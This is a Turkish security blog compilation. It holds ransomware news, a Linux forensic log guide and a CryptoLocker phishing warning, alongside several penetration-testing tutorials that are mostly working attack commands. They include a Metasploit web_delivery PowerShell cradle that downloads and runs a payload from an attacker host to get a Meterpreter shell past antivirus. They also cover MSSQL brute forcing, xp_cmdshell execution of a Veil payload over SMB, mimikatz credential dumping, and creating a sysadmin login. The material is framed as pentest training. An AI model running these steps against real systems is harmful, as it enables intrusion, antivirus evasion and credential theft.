Fidye için şifrelenmiş dosyaları çözmenin yeni yolu

Bir süredir çok sayıda abonesi olan firmaların ismiyle gönderilen phishing mailleri dolaşıyordu. Bunlara tıklayanların sistemindeki veriler şifrelenerek para ödemesi isteniyor. Şimdi ortada yeni bir çözüm var.

Saldırılar önce CryptoLocker türevleri ile başladı. Bu furyanın sonu CryptoLocker’ın şifreleme anahtarının keşfedilmesiyle geldi. Sonrasında ise TorLocker türevi zararlı yazılımlarla dosyalar şifrelenerek kullanıcılardan para toplandı. Halen farklı farklı firmaların ismiyle phishing mailleri gönderilerek kullanıcılar tuzağa düşürülüyor. Torlocker yani Ransom.Win32.Scraper halen çok sayıda varyantıyla birlikte yayılım gösteriyor.

Eğer bulaşan TorLocker zararlı yazılımı dosyaları başarıyla şifreledikten sonra bir güvenlik/antivirus yazılımı tarafından silinirse bir anda arka plan değişerek kırmızı bir uyarı mesajı geliyor. Burada bir .exe dosyasının linki var ve parayı ödeseniz bile bunu yüklemeden dosyaları deşifre edemeyeceğiniz söyleniyor. Aynı zamanda bu ekranda ödeme detaylarını da girebiliyorsunuz.fidye-icin-sifrelenmis-dosyalari-cozmenin-yeni-yolu_2

Zararlı yazılım Office dosyaları, videolar, ses dosyaları, fotoğraflar, arşiv dosyaları, veritabanları, sertifikalar gibi çok tipte dosyayı şifreliyor. Kullanılan şifreleme ise AES-256 ve RSA-2048. Şifrenin çözülebilmesi için kullanıcılardan ortalama 600 TL isteniyor. Fakat şimdi yeni bir çözüm var ve bununla birlikte şifrelenen dosyaların %70’ine yakınını para ödemeden çözme imkanı mevcut.

Kullanılan algoritmada bulunan zayıflık sebebiyle keşfedilmiş olan çözüm, adına “ScraperDecryptor” denilen araçla TorLocker ve bazı türevleri tarafından şifrelenen dosyalarınızı çözmeye yardımcı oluyor. Yazılımı geliştiren firma zararlıyı geliştiren kişilerin ne hata yaptığını açıklamasa da bu hatayı istismar eden bir araç yayınlamayı ihmal etmedi.

TorLocker ile şifrelenmiş dosyaları çözme için kullanılabilecek ScraperDecryptor uygulamasını buradan indirebilirsiniz.

Reklamlar

Linux Sistemlerde Log Dosyaları Üzerinden Adli Bilişim İncelemesi

Bu makalede bir Linux sistem üzerinde gerçekleştirilecek adli bilişim incelemelerinde incelenmesi gereken log dosyalarından bazılarına değineceğim. İlk olarak kullanıcıların aktivitelerinin kayıt altına alındığı loglardan başlayalım. Linux işletim sisteminde kullanıcının hareketlerine ilişkin olayların loglandığı üç temel dosya vardır.

Bunlar;

▪/var/run/utmp
▪/var/log/wtmp
▪/var/log/lastlog

“utmp” ve “wtmp” dosyalarında kulllanıcıların oturum açma ve kapatma kayıtları tutulur ve bu kayıtlar binary (ikili) formatındadır. “utmp” dosyasında sadece aktif sistem oturumlarına ilişkin bilgiler yer alırken, “wtmp” dosyasında geçmişe ait, artık aktif olmayan oturumlara ait bilgiler de yer alır. Her iki dosyaya da last komutunu -f parametresi ile kullanarak erişmek mümkündür. Aşağıdaki ekran görüntüsünde bu konutun örnek bir çıktısı yer almaktadır.

Linux-Log-Adli-Bilisim01

lastlog dosyası binary bir dosyadır ve her bir kullanıcının en son ne zaman hangi IP adresinden oturum açtığını da gösterir. Çalışan sistem üzerinde “lastlog” komutu çalıştırılarak dosyanın içeriğine ulaşılabilir. Bu dosyayı offline analiz etmek için ise http://www.hcidata.info/lastlog.htm adresindeki PERL script kullanılabilir. Aşağıdaki ekran görüntüsünde örnek bir lastlog çıktısını görebilirsiniz.

Linux-Log-Adli-Bilisim02

Kullanıcılar tarafından önceden girilen komutların neler olduğunu öğrenmek içinise lastcomm komutunu kullanabiliriz. Örneğin halil isimli kullanıcı tarafından sistemde çalıştırılan geçmiş komutların listesini öğrenmek için lastcomm halil komutunu çalıştırmamız yeterli. Aşağıdaki resimde örnek olarak çalıştırdığımız bu komutun çıktısı ve çıktıda yer alan alanların ne anlama geldiği gösterilmiştir.
Linux-Log-Adli-Bilisim03

Linux sistemlerde önemli loglama bileşenlerinden birisi de Syslog’dur. Linux sistemlerdeki sistem loglarının bir çoğu /var/log dizini altında yada bu dizin altındaki alt dizinlerde tutulur. Syslog istemci/sunucu mimaride çalışır ve hem yerel he mde uzak bir sunucuya logların gönderilmesine imkan tanır. Bununla birlikte standalone çalışan Linux sistemlerin çoğunda loglar yerelde tutulur. Syslog konfigurasyonuna ilişkin detaylar /etc/syslog.conf dosyasında yer alır.
Syslog’da olayların türleri ve öncelik seviyerleri aşağıdaki tablolarda gösterildiği şekilde sınıflandırılır.

Linux-Log-Adli-Bilisim04

İlgili konfigürasyon dosyası olan syslog.conf dosyasında tanımlar aşağıdaki şekilde yapılır.

sınıf.seviye aksiyon

Örneğin;
▪mail.info /var/log/maillog

Uzak sunucudaki Syslog’a yazmak için aksiyon kısmıda @ işareti ile birlikte uzak sunucunun IP adresini yazmak gerekiyor.

Örneğin aşağıdaki gibi bir satır kernel’in kritik seviyedeki olaylarını hem root kullanıcısının consoluna hem de 192.168.1.11’de çalışan syslog sunucuna yazar;
▪kern.crit root,@192.168.1.11

Syslog mesajları clear-text olarak UDP üzerinden uzak Syslog sunucusuna iletilir. Bir syslog mesajı genelde 5 alandan oluşan tek bir satırdır. Bu satırdaki ilk alan mesajın oluşturulduğu zamanı, ikinci alan mesajın oluşturulma saatini, üçüncü alan mesajı oluşturan bilgisayarın adını, dördüncü alan log kaydını oluşturan prosesin adını ve son alan da logun kendisini gösterir.

Adli bilişim incelemelerinde analiz edilmesinde fayda olan log dosyaları ve bu log dosyalarının hangi amaçla kullanıldığını gösteren tablo aşağıda gösterilmiştir. Canlı sistem üzerinde yapılan adli bilişim incelemelerinde bu dosyaların içindeki logları okumak için genellikle tail komutu –f parametresi ile birlikte kullanılır. Disk imajları üzerinden yapılacak incelemede ise ilgili log dosyalarının tabloda gösterilen tam yollarına gidilerek text tabanlı olan bu dosyalar analiz edilir.

Linux-Log-Adli-Bilisim05

Örneğin aşağıdaki ekran görüntüsünde /var/log/auth.log dosyasının içeriği analiz edilerek öğrenilen bir şifre kırma saldırısına ait izleri görebilirsiniz.

Linux-Log-Adli-Bilisim06

Son olarak da /var/log/kern.log dosyasından bir örnek vererek makaleyi sonlandırayım. Bu dosya işletim sisteminin çekirdeğine ilişkin olay kayıtlarının bulunduğu log dosyasıdır ve bu dosyayı analiz ederek ilgili bilgisayara herhangi bir harici diskin takılıp takılmadığı, takıldı ise ne zaman takıldığı gibi bilgilere ulaşılabiliriz. Aşağıdaki ekran görüntüsünde yer alan örnek log dosyasından da görülebileceği üzere bilgisayara içinde tek partititon olan bir tane USB flash disk bağlanmış.
Linux-Log-Adli-Bilisim07

Yukarıda yer alan çıktıdaki kernel: ifadesinden sonra gelen değer ilgili olayın zaman bilgisini gösterir ve çekirdeğin yüklenmesinden itibaren saniye ve milisaniye cinsinden geçen zamanı ifade eder.

Related Posts

Adli Bilişim İncelemelerinde Sorter Uygulaması İle Dosya Sınıflandırma

Bazı spesifik olaylara ilişkin adli bilişim incelemelerinde önümüze sunulan disk imajları içerisinde yer alan dosyaları hızlıca türlerine göre sınıflandırmamız gerekebiliyor. Örneğin sadece Microsoft Office dokümanları yada resim dosyaları üzerinde analiz gerçekleştirmemizin gerektiği olayları incelemek durumunda kalabiliyoruz. İşte bu durumlarda ilgili imaj içinde yer alan silinmiş veya silinmemiş, bütün dosyaları hızlıca türlerine göre ayırabilmek oldukça önemlidir.
Kaynak: Halil Öztürkçi

MSF web_delivery Modülü İle Antivirüslere Yakalanmadan Meterpreter Erişimi Elde Edilmesi

Sızma testleri sırasında antivirüslerin atlatılarak hedef sistemin ele geçirilmesi kritik bir aşamadır. Bu yazıda, MSF web_delivery istismar modülü kullanılarak Powershell tabanlı bir payload hazırlanacak ve hedef bilgisayarda Powershell komutu çalıtırılarak Meterpreter kabuğu elde edilecektir.MSF web_delivery istismar modülü, web sunucusu (Kali) üzerinden kurban sistemlere payload göndermek için kullanılır. Bu modül, kurban sistemlerde çalıştırılan bir komut ile web suncusunda kayıtlı olan zararlı yazılım çağırılarak çalıştırılması için kullanılır. Kurban işletim sisteminde kurumlarda ve son kullanıcı bilgisayarlarında en çok kullanılan anti-virüslerden biri yüklü olmasına rağmen Meterpreter bağlantısının elde edilebildiği görülecektir.Modül ile ilgili temel seçenekler aşağıdaki gibidir.

search web_delivery
use exploit/multi/script/web_delivery
show options

Modülün desteklediği 3 hedef bulunmaktadır: Python, PHP, PSH. Bu yazıda hazırlanacak olan payload, Windows istemcideki Powershell uygulaması için hazırlanacaktır. Modüle ait seçenekler aşağıdaki gibi ayarlanabilir.

set PAYLOAD windows/meterpreter/reverse_https
set LHOST 192.168.100.10
set LPORT 443
set TARGET 2
set SRVPORT 80
show options

Modül başlatılarak, kurban sistemde çalıştırılacak olan komut elde edilir.

exploit

Powershell komutu ile windows komut satırı ile çalıştırıldığında, Kali bilgisayarın 80. portunda çalışan web sunucuya talep yapılmakta ve bir katar (string / payload) indirilip çalıştırılmaktadır.

powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(‘http://192.168.100.10/NJg3wXgOlVkV4g5′))

Böylece Kali tarafında talep yakalanmaktadır. Powershell komutunu çalıştıran kullanıcı hakları ile 32 bitlik Powershell prosesi üzerinde Meterpreter bağlantısının elde edildiği görülmektedir.

sessions
sessions -i 1
getuid
getpid
ps -U Vedat

Vedat hesabının yerel yönetici olduğu ve bir sıkılaştırma ayarının olmadığı varsayılırsa, yerel kullanıcıların parolasının elde edilebildiği görülmektedir. Meterpreter “hashdump” komutu yapısı gereği, 64 bitlik bir bilgisayarda 64 bitlik SYSTEM yetkileri ile çalışan bir proses üzerinde iken, etkin olarak çalışmaktadır.

ps -s
migrate 1868
hashdump

Powershell betiği tarafından indirilen katar içeriği (http://192.168.100.10/NJg3wXgOlVkV4g5) aşağıdaki gibidir.

Kaynak:

https://www.youtube.com/watch?v=vdnCZZepcUU

MSSQL Veritabanı Hesabının Tespit Edilmesi ve Meterpreter Bağlantısının Elde Edilmesi

MSSQL veritabanı sızma testlerindeki ilk adımlardan birisi MSSQL yüklü sunucudaki yetkili hesapların kimlik bilgilerini öğrenmektir. Bu yazıda 172.22.71.247 IP adresli makinede yetkili bir hesabın kimlik bilgisi elde edilecek ve bu bilgilerle işletim sistemi üzerinde kd çalıştırılacak ve meterpreter bağlantısı elde edilecektir. Bu işlemler 3 adımda incelenecektir.

1) MSSQL sunucunun IP adresi tespit edilecektir.
2) Veritabanı üzerinde yetkili bir hesabın kimlik bilgileri, farklı araçlarla (hydra aracı, nmap aracı, MSF mssql_login modülü) kaba kuvvet saldırıları ile elde edilecektir.
3) Elde edilen kimlik bilgilerini kullanarak NMAP ms-sql-xp-cmdshell betiği ile işletim sisteminde komut çalıştırılacak ve MSF mssql_payload modülü ile Meterpreter bağlantısı elde edilecektir.

 

1) MSSQL Sunucunun Tespiti

MSSQL sunucusunun Ip adresini tespit etmek için en temel yöntem 1433 portu açık olan bilgisayarları taramaktır:

nmap 172.22.71.0/24 -sS -Pn -n –open -p 1433

Diğer yöntemler sonraki yazılarda incelenecektir.

2) MSSQL Erişim Bilgilerinin Elde Edilmesi

MSSQL veritabanına erişim sağlayabilecek hesaba ait kimlik bilgilerini elde edebilmek için root hesabının masaüstünde “kullanicilar” ve “parolalar” adlı 2 dosya oluşturulmuştur. Bu dosya içerisindeki bilgiler kullanılarak, farklı yöntemlerle MSSQL sunucuya kaba kuvvet saldırısı düzenlenecektir.

 

i) Medusa aracı

Medusa aracını kullanarak kaba kuvvet saldırısı aşağıdaki gibi gerçekleştirilebilir:

medusa -h 172.22.71.247 -U /root/Desktop/kullanicilar -P /root/Desktop/parolalar -O /root/Desktop/medusa_sonuclar -M mssql -n 1433

Tarama sonucu root hesabının masaüstüne medusa_sonuclar olarak kaydedilmiştir:

Tarama sonucundan da görüldüğü gibi, MSSQL veritabanına “test” kullancı adı ve “test” parolası ile giriş yapılabilir.

ii) Hydra aracı

Hydra aracını kullanarak kaba kuvvet saldırısı aşağıdaki gibi gerçekleştirilebilir. Tarama sonucu root hesabının masaüstüne hydra_sonuclar olarak kaydedilmiştir::

hydra mssql://172.22.71.247:1433 -L /root/Desktop/kullanicilar -P /root/Desktop/parolalar -o /root/Desktop/hydra_sonuclar

Tarama sonucundan da görüldüğü gibi, MSSQL veritabanına “test” kullancı adı ve “test” parolası ile giriş yapılabilir.

Not: Hydra aracını diğer araçlara göre en hızlı yöntem olduğu söylenebilir.

iii) Nmap aracı

Nmap aracını kullanarak kaba kuvvet saldırısı aşağıdaki gibi gerçekleştirilebilir. Tarama sonucu root hesabının masaüstüne nmap_sonuclar olarak kaydedilmiştir:

nmap 172.22.71.247 -p1433 –script ms-sql-brute –script-args userdb=/root/Desktop/kullanicilar,passdb=/root/Desktop/parolalar -oN /root/Desktop/hydra_sonuclar

Tarama sonucundan da görüldüğü gibi, MSSQL veritabanına “test” kullancı adı ve “test” parolası ile giriş yapılabilir.

iv) MSF mssql_login modülü

MSF mssql_login auxiliary modülünü kullanarak kaba kuvvet saldırısı gerçekleştirilebilir. Modülün seçenekleri aşağıdaki gibidir:

search mssql_login
use auxiliary/scanner/mssql/mssql_login
show options

Modülün seçenekleri aşağıdaki gibi ayarlanabilir ve modül başlatılabilir:

set RHOSTS 172.22.71.247
set USER_FILE /root/Desktop/kullanicilar
set PASS_FILE /root/Desktop/parolalar
show options
run

Tarama sonucu aşağıdaki gibidir:

Tarama sonucundan da görüldüğü gibi, MSSQL veritabanına “test” kullanıcı adı ve “test” parolası ile giriş yapılabilir.

3) Komut Satırında Komut Çalıştırma ve Meterpreter Bağlantısı Elde Etme

Elde edilen kimlik bilgileri ile (test/test) MSSQL veritabanına giriş için Nmap betikleri ve MSF mssql_payload istismar modülü kullanılabilir.

i) Nmap aracı

Nmap aracını kullanarak işletim sistemi seviyesinde komut çalıştırılması aşağıdaki gibi gerçekleştirilebilir:

nmap 172.22.71.247 -p1433 –script ms-sql-xp-cmdshell –script-args=mssql.username=test,mssql.password=test,ms-sql-xp-cmdshell.cmd=’whoami && net user’

Yukarıdaki ekran görüntüsünde 2 adet komut (“whoami” ve “net user”) çalıştırılmıştır. Bunun yerine bağlantıdaki mssql_exec modülündeki gibi paylaşımdaki zararlı bir yazılım çalıştırılabilir (start \\172.22.71.5\paylasim$\Zararli1.exe) ve bekleyen multi/handler tarafından bu talep yakalanabilir.

ii) MSF mssql_payload modülü

MSF mssql_payload istismar modülünü kullanarak hedef sisteme Meterpreter ile bağlantı kurulabilir. Modülün seçenekleri aşağıdaki gibidir:

search mssql_payload
use exploit/scanner/mssql/mssql_payload
show options

Modülün seçenekleri aşağıdaki gibi ayarlanabilir ve modül başlatılabilir:

set RHOST 172.22.71.247
set USERNAME test
set PASSWORD test
show options
run

Modül çalıştıktan sonra MSSQLSERVER servisinin yetkileri ile Meterpreter bağlantısının açıldıüı görülmektedir:

getuid
background
sessions

 

MSF mssql_exec & Veil: MSSQL Hesabı ile Antivirüslere Yakalanmadan Meterpreter Kabuğu Elde Etme

MSF mssql_exec & Veil: MSSQL Hesabı ile Antivirüslere Yakalanmadan Meterpreter Kabuğu Elde Etme

Sızma testlerinde MSSQL üzerinde yetkili bir hesaba ait kimlik bilgileri tespit edildiği halde işletim sistemine erişim sağlanamayabilmekte veya meterpreter ile erişim sağlama ihtiyacı duyulabilmektedir. Bu yazıda MSSQL sunucu üzerinde sysadmin rolüne (veya işletim sistemi üzerinde komut çalıştırabilecek yetkilere) sahip olan bir hesaba ait bağlantı bilgileri kullanarak MSF mssql_exec modülü yardımıyla meterpreter bağlantısı elde edilecektir.

Yazıda kullanılacak Kali bilgisayarın IP’si 172.22.71.5, SQL sunucusunun IP’si ise 172.22.71.247 olarak ayarlanmıştır. Ayrıca SQL sunucuda güncel durumda olan ve kurumlarda da kullanılan bir antivirüs kuruludur.

Yazı 4 başlıktan oluşacaktır.

1) Saldırgan makinesinde kurban makinenin erişebileceği bir paylaşım açılacaktır.
2) Antivirüslere yakalanmayan ve Meterpreter bağlantısı sağlayacak bir uygulama hazırlanarak saldırgan makinesindeki paylaşıma kaydedilecektir.
3) MSF multi/handler modülü ile Meterpreter bağlantısı dinlenecektir.
4) MSF “mssql_exec” modülü kullanılarak kurban makinede saldırgan makine paylaşımındaki uygulama çalıştırılacak, Kali makinedeki listener ile bağlantı elde edilecektir. Böylece kurban bilgisayarına Meterpreter ile ters bir bağlantı sağlanmış olacaktır.

 

1) Kali Üzerinde Paylaşımın Açılması

Öncelikle paylasima açılacak ve zararlı uygulamanın konulacağı dizin (/root/veil-output/compiled/ dizini) önceden oluşturulmamışsa oluşturulmalı ve Everyone için tam yetki verilmelidir:

mkdir -p /root/veil-output/compiled/
chmod 777 /root/veil-output/compiled/

Daha sonra, /etc/samba/smb.conf dosyasına aşağıdaki ifadeler eklenir. Böylece ağ erişimi olan bir Windows makinede “\\172.22.71.5\paylasim$” komutu çalıştırılınca, Kali makinenin “/root/veil-output/compiled/” dizinine erişim sağlanmış olacaktır.

[paylasim$]
comment = Sizma testleri icin hazirlanmistir.
path = /root/veil-output/compiled/
browseable = yes
guest ok = yes
read only = yes
public = yes
writable = yes

Gerekli konfigürasyon yapıldıktan sonra, Kali üzerindeki “samba” servisi başlatılır.

service samba start

 

2) Meterpreter Oluşturacak Zararlı Uygulamanın Hazırlanması

Kurbana ait Windows bilgisayar ile saldırgana ait Kali bilgisayar arasında meterpreter bağlantısını oluşturacak zararlı uygulama Antivirüsler tarafından tespit edilmeyecek şekilde ayarlanmaldır. Bu uygulamanın hazırlanması için Veil kullanılabilir. Bu uygulamanın Veil kullanılarak hazırlanması ile ilgili ayrıntılı bilgi için bakınız. Hazırlanan uygulama varsayılan olarak “/root/veil-output/compiled/” dizini altına atılmaktadır. Bu sebeple, oluşturulan dosyanın paylaşıma taşınmasına gerek yoktur.

Böylece /root/veil-output/compiled/ dizininde Zararli1.exe adli uygulama oluşmuştur.

Diğer antivirüs atlatma teknikleri için bakınız.

3) Kali Üzerinde Bağlantının Beklenmesi

İstismar işlemi sırasında çalışacak zararlı uygulama bir Meterpreter bağlantısı oluşturacaktır. Bu bağlantının Kali üzerinde elde edilebilmesi için bir listener bağlantısı aşağıdaki gibi kurulabilir:

use exploit/multi/handler
show options
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 172.22.71.5
set LPORT 443
set ExitOnSession false
exploit -j

Böylelikle 443. porta gelen “reverse_https” bağlantısı yakalanabilecektir.

4) Paylaşımdaki Zararlı Uygulamanın Çalıştırılması ve Meterpreter Bağlantısının Elde Edilmesi

MSSQL uygulamasında sysadmin rolüne sahip olan bir hesaba ait kullanıcı hesap bilgileri bilindiğinde hedef bilgisayarda komut çalıştırma işlemi gerçekleştirilebilmektedir. Bu amaçla, MSF mssql_exec modülü kullanılacaktır. Bu modül ile ilgili ayrıntılı bilgi aşağıdaki gibidir:

search mssql_exec
use auxiliary/admin/mssql/mssql_exec
show options

MSSQL uygulamasında sysadmin rolüne sahip hesabın adı “sa”, parolası ise “s93v43jd5” olarak elde edildiği varsayılırsa, aşağıdaki seçenekle modül ayarlanabilir ve modül çalıştırılabilir:

set CMD start \\\\172.22.71.5\\paylasim$\\Zararli1.exe
set RHOST 172.22.71.247
set PASSWORD s93v43jd5
show options
run

Modül çalıştırıldığında, Kali paylaşımındaki uygulama (\\172.22.71.5\paylasim$\Zararli1.exe) çalıştırılacak ve daha önceden bekleyen multi/handler modülü tarafından yakalanacaktır:

Böylece Kali bilgisayarın diskinde bulunan zararlı yazılım, Windows makinenin diskine kaydedilmeden, Windows bilgisayarın belleğinde (RAM) çalışacaktır. Sonuçta da ters bir HTTPS bağlantı talebi olacak, Kali üzerindeki dinleyici tarafından yakalanmıştır. Ayrıca yukarıdaki ekran görüntüsünde de görüldüğü gibi MSSQLSERVER servisini çalıştıran hesabın yetkileri ile Meterpreter bağlantısı elde edilmiştir. Eğer MSSQLSERVER servisi SYSTEM yetkileri ile çalışmış olsaydı, SYSTEM yetkileri elde edilirdi. Bunun yanında “sa” hesabı yerine, işletim sisteminde kod çalıştırma yetkisi olan başka bir hesap da kullanılabilirdi. Bu sebeple, gereksiz kullanıcı hesaplarının ve yetkilerinin kaldırılması, mevcut parolaların oldukça karmaşık olması tavsiye edilmektedir.

Via Ertugrul Basaranoglu

MS SQL Yüklü İşletim Sisteminde Veritabanına Erişimin Elde Edilmesi

Sızma testlerinde MSSQL yüklü bilgisayarda yerel yönetici hakkına sahip olduktan sonra, veritabanına direk olarak erişime sahip olunmayabilmektedir. Bu yazıda, MSSQL sunucu bilgisayarda yerel yönetici iken, uygulamaya giriş yapabilmek için gerçekleştirilebilecek farklı yöntemler incelenecektir. Belirtilecek işlemler 5 ana başlıkta incelenebilir:

1) İşletim sistemindeki yerel kullanıcıların parolaları değiştirilerek
2) Servisi çalıştıran hesabın parolası elde edilerek
3) İşletim sistemindeki belli bir yerel gruba üye olunarak
4) Windows sqlcmd aracıyla yeni bir hesap oluşturarak
5) MSF mssql_local_auth_bypass post exploit modülü ile

Yukarıda belirtilen işlemler, aşağıdaki 3 durum mevcut iken gerçekleştirilmiştir:

  • SQL sunucunun Mixed moddadır:

 

  • Saldırgan, işletim sistemine Hacked adlı yerel bir yönetici ile erişim sağlamıştır:

 

  • Hacked hesabı ile MSSQL uygulamasına erişim sağlanamamaktadır:

MSSQL sunucu bilgisayarda yerel yönetici iken, uygulamaya giriş yapabilmek için gerçekleştirilebilecek 5 yöntem aşağıdaki gibidir:

1) Kullanıcı Hesapları ile

Yerel yönetici yetkisi ile erişim sağladıktan sonra tüm kullanıcıların parolası değiştirilebilir.

net user
net user Birkan Bb123456

Benzer olarak MSSQL sunucusu etki alanına dahil ise ve Domain Admin yetkilerine sahip olunduysa; iş tanımında, adında, departmanında,… veritabanı ile ilgili bilgi geçen hesapların parolaları da değiştirilerek, bu sunucuda oturum açılabilir ve veritabanına erişim sağlanıp sağlanmadığı kontrol edilebilir.

Sızma testleri sırasında bu şekilde bir değişiklik yapılması uygun değildir. Parolası değiştirilen kullanıcı hesapların parolaları bazı uygulamalarda, betiklerde, servislerde … kullanılıyor olabilir, sonuç olarak da parola değişikliği sürekliliği ve erişebilirliği bozabilir.

2) MSSQLSERVER Servisi Hesabı ile

MS SQL Server 2012 öncesinde sunucu varsayılan olarak SYSTEM haklarıyla çalışır. Ancak MSSQLSERVER servisi kullanıcı hakları ile de çalışabilir.

Bu durumda, servis hesabının parolası elde edilebilir. Parolanın elde edilmesi için Mimikatzi WCE gibi araçlar kullanılabilir. Ayrıntılı bilgi için bakınız.

mimikatz
privilege::debug
sekurlsa::wdigest

Yukarıda 2 adet kimlik bilgisi (Hacked/Hh123456 ve SqlAjani/Ss123456) elde edilmiştir. Hacked hesabı, saldırganın sahibi olduğu hesap, SqlAjani hesabı ise MSSQLSERVER servisinin çalıştığı kullanıcı hesabıdır. Eğer MSSQLSERVER servisi, Domain Admins grubu üyelerinden biri ise veya etki alanında yüksek yetkili (etki alanına kullanıcı ekleme, etki alanındaki kullanıcının grubuna değiştirebilme,… gibi yetkiler) ise, MSSQL sunucusunu ele geçiren saldırgan, tüm etki alanına dahil olan sistemlerde yetki sahibi olabilir. Bu sebeple, MSSQLSERVER (ve diğer) servislerin sadece gerekli yetkilere sahip hesaplar ile çalıştırılması tavsiye edilmektedir.

Not: Kritik sistemlerde Mimikatz / WCE gibi araçların direk olarak çalıştırılmaması, LSASS.exe prosesinin dump dosyasının sanal bir makinede çalıştırılması tavsiye edilmektedir. Ayrıntılı bilgi için bakınız.

3) Gruplar ile

Yerel yönetici yetkisi ile erişim sağladıktan sonra, mevcut hesap veritabanı ile ilişkili yerel gruplara eklenebilir.

net localgroup
net localgroup “SQL Yoneticileri” Hacked /add

Mevcut hesap, yerel gruplara eklendikten ve oturum yeniden açıldıktan sonra, MSSQL sunucuya giriş sağlanabilir.

Benzer olarak MSSQL sunucusu etki alanına dahil ise ve Domain Admin yetkilerine sahip olunduysa; tanımında, adında… veritabanı ile ilgili bilgi geçen gruba da üye olunduktan sonra, bu sunucuda oturum açılabilir ve veritabanına erişim sağlanıp sağlanmadığı kontrol edilebilir.

4) Sqlcmd Aracı ile

Yerel yönetici yetkisi ile erişim sağladıktan sonra, MS Psexec aracıyla SYSTEM yetkisine sahip olanabilir.

psexec /s cmd

SYSTEM haklarına geçildikten sonra da sqlcmd aracı kullanılarak Sysadmin rolüne sahip bir hesap oluşturulabilir.

sqlcmd -S localhost

USE [master]
GO
CREATE LOGIN [sa_hacked] WITH PASSWORD=N’Hh123456′
GO
EXEC master..sp_addsrvrolemember @loginame = N’sa_hacked’, @rolename = N’sysadmin’
GO

Böylece, sa_hacked adlı sysadmin rolüne sahip hesap ile oturum açılabilir.

 

5) MSF mssql_local_auth_bypass ile

Yerel yönetici bilgileri ile MSF psexec gibi bir modül ile Meterpreter kabuğu elde edildikten sonra, MSFmssql_local_auth_bypass post exploitation modülü ile veritabanında tam yetkiye sahip olunabilir.

MSF psexec modülü ile meterpreter aşağıdaki gibi elde edilebilir:

use exploit/windows/smb/psexec
set RHOST 172.22.71.247
set SMBUSER Hacked
set SMBPASS Hh123456
exploit
getuid

Not: Meterpreter kabuğundan Windows cmd kabuğuna geçiş yaptıktan sonra – aşağıda incelenecek olan MSF modülünü kullanmadan – bir önceki başlıkta bahsedilen sqlcmd aracını kullanarak da sysadmin rolü elde edilebilir.

MSF mssql_local_auth_bypass post exploitation modülü aşağıdaki gibidir:

background
search mssql_local_auth_bypass
use post/windows/manage/mssql_local_auth_bypass
show options

Post modül aşağıdaki gibi ayarlanabilir ve çalıştırılabilir:

set DB_USERNAME yeni_sa
set DB_PASSWORD yeni_sa_Mssql123
set SESSION 1
run

Böylece, yeni_sa adlı sysadmin rolüne sahip hesap ile oturum açılabilir.

Veritabanında işlemler gerçekleştirildikten sonra oluşturulan hesabın (yeni_sa) silinmesi gerekmektedir. Silme işlemi Microsoft SQL Server Management Studio konsolundan gerçekleştirilebileceği gibi, MSF mssql_local_auth_bypass post exploitation modülündeki REMOVE_LOGIN seçeneğini “true” olarak değiştirilmesiyle aşağıdaki gibi de gerçekleştirilebilir:

use post/windows/manage/mssql_local_auth_bypass
set DB_USERNAME yeni_sa
set DB_PASSWORD RastgeleParola
set SESSION 1
set REMOVE_LOGIN true
run

Via  Ertugrul Basaranoglu

SQL Server Güvenliği

28 Cumartesi Günü Çözümpark ile Microsoft TR Ofisinde SQL Server Day gerçekleşti, sessionslar içerisinde en dikkat çeken sunum SQL Server güvenliğiydi, Bunla ilgili sunumları sizler için fotoğrafladım.

WP_20150228_019 WP_20150228_020 WP_20150228_021 WP_20150228_022 WP_20150228_026 WP_20150228_028 WP_20150228_030 WP_20150228_031 WP_20150228_032 WP_20150228_035 WP_20150228_036 WP_20150228_037 WP_20150228_038 WP_20150228_039 WP_20150228_041 WP_20150228_042 WP_20150228_043 WP_20150228_044 WP_20150228_045 WP_20150228_046 WP_20150228_047 WP_20150228_048 WP_20150228_049 WP_20150228_050 WP_20150228_051 WP_20150228_052 WP_20150228_053

Güncel CryptoLocker Saldırısına Dikkat

Ülkemizdeki internet kullanıcılarını hedef alan KriptoKilit saldırıları daha önce de gerçekleşmişti.[1,2] Fakat bu sefer KriptoKilit güncel sürümü ile daha büyük bir tehdit olarak karşımıza çıktı.  Kendini açık bir şekilde CryptoLocker olarak tanıtan bu yeni zararlı yazılım, yine kullanıcılara ait belli uzantılara sahip dosyaları  şifrelemekte ve bu verilerin kurtarılması için kullanıcılardan“Şifre çözme yazılımı” adında bir yazılım satın almalarını istemektedir.

Bulaşma Şekli

Zararlı yazılım fatura epostaları şeklinde kullanıcılara eposta göndermektedir.

son.png

Şekil 1- CryptoLocker Tarafından Kullanıcılara Gönderilen Eposta

Şekil 1’de gösterildiği üzere fatura tutarı yüksek bir miktardır. Faturanın yüksek tutarından ötürü fatura hakkında bilgi almak isteyen kullanıcılar faturayı görmek istediklerinde Şekil 2’ de gösterilen web adresine yönlendirilmektedirler.

image2.png

Şekil 2- Fatura İndirme Sayfası

Kapçayı girip indir butonuna tıklanıldığında “.zip” uzantılı bir dosya indirmektedir. Bu dosyanın içinde ise “.exe” uzantılı fatura dosyası bulunmaktadır.

resim-3.jpg

Şekil 3-İndirilen Zararlı Dosya

İndirilen bu zararlı yazılım çalıştırıldığında ise zararlı yazılım kullanıcının bilgisayarına bulaşmakta ve içi boş olmayan .doc, .docx, .pdf, .txt, .7z, .rar, .zip tipinde olan dosyalar şifrelenmektedir. Şifrelenen dosyaların yeni uzantıları .encrypted olmaktadır. Şekil 4’te bu durum gösterilmektedir.

image5.png

Şekil 4- Şifrelenen Veriler

image6.png

Şekil 5- Verilerin Şifrelenmesinden Sonra Ekrana Çıkan Görüntü

Zararlı yazılım bilgisayardaki verileri şifreleme işlemini bitirdikten sonra ekrana Şekil 5’teki gibi bir sayfa çıkarmaktadır. Görüldüğü üzere zararlı yazılım şifrelenen veriler karşılığında Şifre çözme yazılımı adı altında bir yazılımın satın alınmasını istemektedir.

image7.png

Şekil 6- Şifre Çözme Yazılımı Satın Alma Şekli ve Tutarı

Şekil 5’ te çıkan görüntüdeki linke tıklandığında aslında tor ağı üzerinde olan fakat bir tor proxy hizmeti veren sunucu üzerinden erişilebilen Şekil 6’ daki gibi kişiye özel bir web sayfasına yönlendirilme yapılmaktadır.

Şifre çözme yazılımının satın alınması konusunda ise 96 saat içinde satın alımı durumunda 2398 liradan 1198 liraya kadar indirim yapmaktadır.

Zararlı yazılım ilk yayıldığında antivirüs firmalarının büyük bir çoğunlu tarafından tanınmamıştır. Virustotal sonuçları Şekil 7’de gösterilmektedir.

image8.png

Şekil 7- Antivirüs Firmalarının CryptoLocker Sonuçları

